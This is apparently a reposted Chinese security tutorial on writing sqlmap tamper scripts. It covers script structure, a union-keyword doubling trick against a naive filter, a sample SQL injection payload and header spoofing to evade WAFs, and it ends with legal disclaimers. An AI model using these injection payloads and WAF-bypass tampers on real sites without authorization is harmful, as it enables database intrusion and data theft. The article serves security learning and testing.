文章总结: 文章以最小示例切入,详解sqlmaptamper脚本三要素:priority变量、dependencies声明与核心tamper函数,演示如何用字符串替换绕过union过滤,并给出修改headers的kwargs实战用法,附优先级与数据库常量表,为自定义WAF绕过提供可直接套用的模板。 综合评分: 78 文章分类: 渗透测试,安全工具,WEB安全,漏洞POC,实战经验
sqlmap-tamper编写指南
lyle
知微守望
2026年1月9日 10:30 浙江
注:最近遇到了一些奇奇怪怪的waf,想自己写一些tamper但是发现没有参考材料可以使用,因此写了这篇文章,以方便进行自定义的tamper编写。笔者笔力有限,如有错误,敬请读者们指正。
Sqlmap tamper简介
sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
一、 一个最小的例子
为了说明tamper的结构,让我们从一个最简单的例子开始
| |
| — |
| # sqlmap/tamper/escapequotes.py from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): return payload.replace("'", "\\'").replace('"', '\\"') |
不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs
返回值为替换后的payload。比如这个例子中就把引号替换为了\\\\'。
二、详细介绍
第一部分完成了一个最简单的tamper架构,下面我们进行更详细的介绍
tamper函数
tamper是整个脚本的主体。主要用于修改原本的payload。举例来说,如果服务器上有这么几行代码
| |
| — |
| $id = trim($POST($id),'union'); $sql="SELECT * FROM users WHERE id='$id'"; |
而我们的payload为
| |
| — |
| -8363' union select null -- - |
这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样的tamper
| |
| — |
| def tamper(payload, **kwargs): return payload.replace('union','uniounionn') |
保存为replaceunion.py,存到sqlmap/tamper/下,执行的时候带上–tamper=replaceunion的参数,就可以绕过该过滤规则
dependencies函数
dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:
| |
| — |
| # sqlmap/tamper/echarunicodeencode.py from lib.core.common import singleTimeWarnMessage def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) # singleTimeWarnMessage() 用于在控制台中打印出警告信息 |
kwargs
在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明
| |
| — |
| # sqlmap/tamper/vanrish.py def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload |
这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf
三、结语
tamper的编写远不止这些,本文只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,本文不一一列出。
0x04 附录:部分常数值
| |
| — |
| # sqlmap/lib/enums.py class PRIORITY: LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HIGHER = 50 HIGHEST = 100 class DBMS: ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" MYSQL = "MySQL" ORACLE = "Oracle" PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" HSQLDB = "HSQLDB" |
真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙、开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:知微守望 lyle《sqlmap-tamper编写指南》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


评论